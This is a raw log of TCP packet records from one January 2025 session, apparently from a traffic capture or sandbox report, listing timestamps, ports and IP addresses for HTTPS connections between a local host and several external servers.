Jan 14, 2025 08:12:55.442286968 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.442358971 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.442435980 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.442446947 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.442465067 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.442576885 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.442611933 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.933656931 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.934122086 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.934184074 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.935872078 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.936247110 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.937016010 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.937205076 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.937230110 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.937268019 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.942768097 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.943115950 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.943176985 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.945383072 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.945698023 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.945890903 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.946142912 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.990885973 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.990946054 CET	443	60471	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:55.990982056 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:55.991043091 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:56.032913923 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:56.033658981 CET	60471	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:56.174211979 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:56.174326897 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:56.175828934 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:56.175899029 CET	443	60472	104.17.112.233	192.168.2.4
Jan 14, 2025 08:12:56.175935984 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:56.175935984 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:56.176249981 CET	60472	443	192.168.2.4	104.17.112.233
Jan 14, 2025 08:12:57.083609104 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:12:57.083659887 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:12:57.083715916 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:12:57.083920002 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:12:57.083930969 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:12:57.798968077 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:12:57.799557924 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:12:57.799585104 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:12:57.801135063 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:12:57.801206112 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:12:57.803303003 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:12:57.803404093 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:12:57.803718090 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:12:57.803726912 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:12:57.847073078 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.339011908 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.339049101 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.339060068 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.339091063 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.339128971 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.339180946 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.339196920 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.339212894 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.393835068 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.410263062 CET	60474	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.410291910 CET	443	60474	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.410382032 CET	60474	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.410552025 CET	60474	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.410562038 CET	443	60474	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.414992094 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.415003061 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.415062904 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.415502071 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.415615082 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.415657043 CET	60477	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.415678024 CET	443	60477	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.415707111 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.415777922 CET	60477	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.415993929 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.416090012 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.416161060 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.416636944 CET	60479	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.416656017 CET	443	60479	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.416718006 CET	60479	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.417037964 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.417051077 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.417484999 CET	60477	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.417522907 CET	443	60477	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.417676926 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.417701960 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.418000937 CET	60480	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.418018103 CET	443	60480	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.418078899 CET	60480	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.418210983 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.418230057 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.418483019 CET	60481	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.418500900 CET	443	60481	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.418554068 CET	60481	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.418844938 CET	60479	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.418873072 CET	443	60479	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.419642925 CET	60480	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.419667959 CET	443	60480	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.419894934 CET	60481	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:00.419905901 CET	443	60481	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:00.452696085 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.452749968 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.452828884 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.452903032 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.452903032 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.453164101 CET	60473	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:00.453181028 CET	443	60473	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:00.661869049 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:00.661973000 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:00.662065029 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:00.662305117 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:00.662323952 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:01.133016109 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.133411884 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.133438110 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.133718967 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.133915901 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.133980989 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.134615898 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.134641886 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.135119915 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.135200024 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.135504961 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.135665894 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.135720968 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.135734081 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.135765076 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.176820993 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.179342031 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.462846041 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.462912083 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.462932110 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.463057995 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.463058949 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.463135004 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.463280916 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.463371038 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.463435888 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.463465929 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.503767967 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.518738985 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.579026937 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579061985 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579128027 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579155922 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579164982 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.579197884 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.579224110 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.579226971 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579246998 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579380035 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.579380035 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.579780102 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579802990 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579849958 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.579876900 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579905033 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.579945087 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.580054998 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.580110073 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.580262899 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.580322027 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.580457926 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.580487967 CET	443	60476	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.580504894 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.580557108 CET	60476	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.620071888 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.620179892 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.695513964 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.695616961 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.695653915 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.695729017 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.696225882 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.696301937 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.697124004 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.697196960 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.698082924 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.698158026 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.699001074 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.699071884 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.736273050 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.736351013 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.736468077 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.736527920 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.811727047 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.811801910 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.812011957 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.812077999 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.812561989 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.812639952 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.812680006 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.812748909 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.813353062 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.813422918 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.814076900 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.814141989 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.814234018 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.814371109 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.815057039 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.815123081 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.815152884 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.815241098 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.816039085 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.816103935 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.828418016 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.828480959 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.828640938 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.828702927 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.849256992 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:01.849589109 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:01.849625111 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:01.851080894 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:01.851155043 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:01.852143049 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:01.852238894 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:01.852273941 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:01.852516890 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.852602005 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.852808952 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.852957010 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.855830908 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.855896950 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.893115044 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:01.893135071 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:01.904455900 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.904522896 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.928072929 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.928148985 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.928586006 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.928649902 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.928774118 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.928836107 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.929101944 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.929157972 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.929214954 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.929274082 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.929306030 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.929356098 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.929743052 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.929802895 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.929898977 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.929959059 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.930398941 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.930464983 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.930490971 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.930543900 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.930557013 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.930649042 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.930699110 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.931140900 CET	60475	443	192.168.2.4	45.14.246.94
Jan 14, 2025 08:13:01.931158066 CET	443	60475	45.14.246.94	192.168.2.4
Jan 14, 2025 08:13:01.939136028 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.064054966 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.064121008 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.064198971 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.064261913 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.066214085 CET	443	60474	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.066291094 CET	60474	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.066767931 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.066806078 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.067102909 CET	60474	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067110062 CET	443	60474	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.067262888 CET	60474	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067409039 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067419052 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.067435980 CET	443	60474	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.067476034 CET	60477	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067488909 CET	60474	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067620993 CET	60479	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067677021 CET	60480	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067723036 CET	60481	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067783117 CET	443	60477	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.067851067 CET	60477	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067851067 CET	443	60479	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.067914009 CET	60479	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.067950964 CET	443	60480	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.067967892 CET	443	60481	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068007946 CET	60480	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068027020 CET	60481	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068342924 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068358898 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068392992 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068392992 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068404913 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068428993 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068451881 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068451881 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068469048 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068491936 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068514109 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068514109 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068523884 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068547010 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.068569899 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.068579912 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.360420942 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.360466957 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.360476017 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.360496044 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.360521078 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.360519886 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.360529900 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.360552073 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.360554934 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.360577106 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.360596895 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.360618114 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.362114906 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.362175941 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.362179995 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.362207890 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.362232924 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.408556938 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.408581972 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.560821056 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.561007023 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.561045885 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.562815905 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.562863111 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.562895060 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.562906981 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.562918901 CET	443	60478	125.209.233.21	192.168.2.4
Jan 14, 2025 08:13:02.563153028 CET	60478	443	192.168.2.4	125.209.233.21
Jan 14, 2025 08:13:02.563889027 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.563905001 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.563946009 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.563956976 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.563988924 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.564002991 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.564018965 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.564037085 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.565309048 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.565337896 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.565372944 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.565377951 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.565404892 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.565421104 CET	60482	443	192.168.2.4	223.130.195.167
Jan 14, 2025 08:13:02.567071915 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.567090988 CET	443	60482	223.130.195.167	192.168.2.4
Jan 14, 2025 08:13:02.567126989 CET	60482	443	192.168.2.4	223.130.195.167
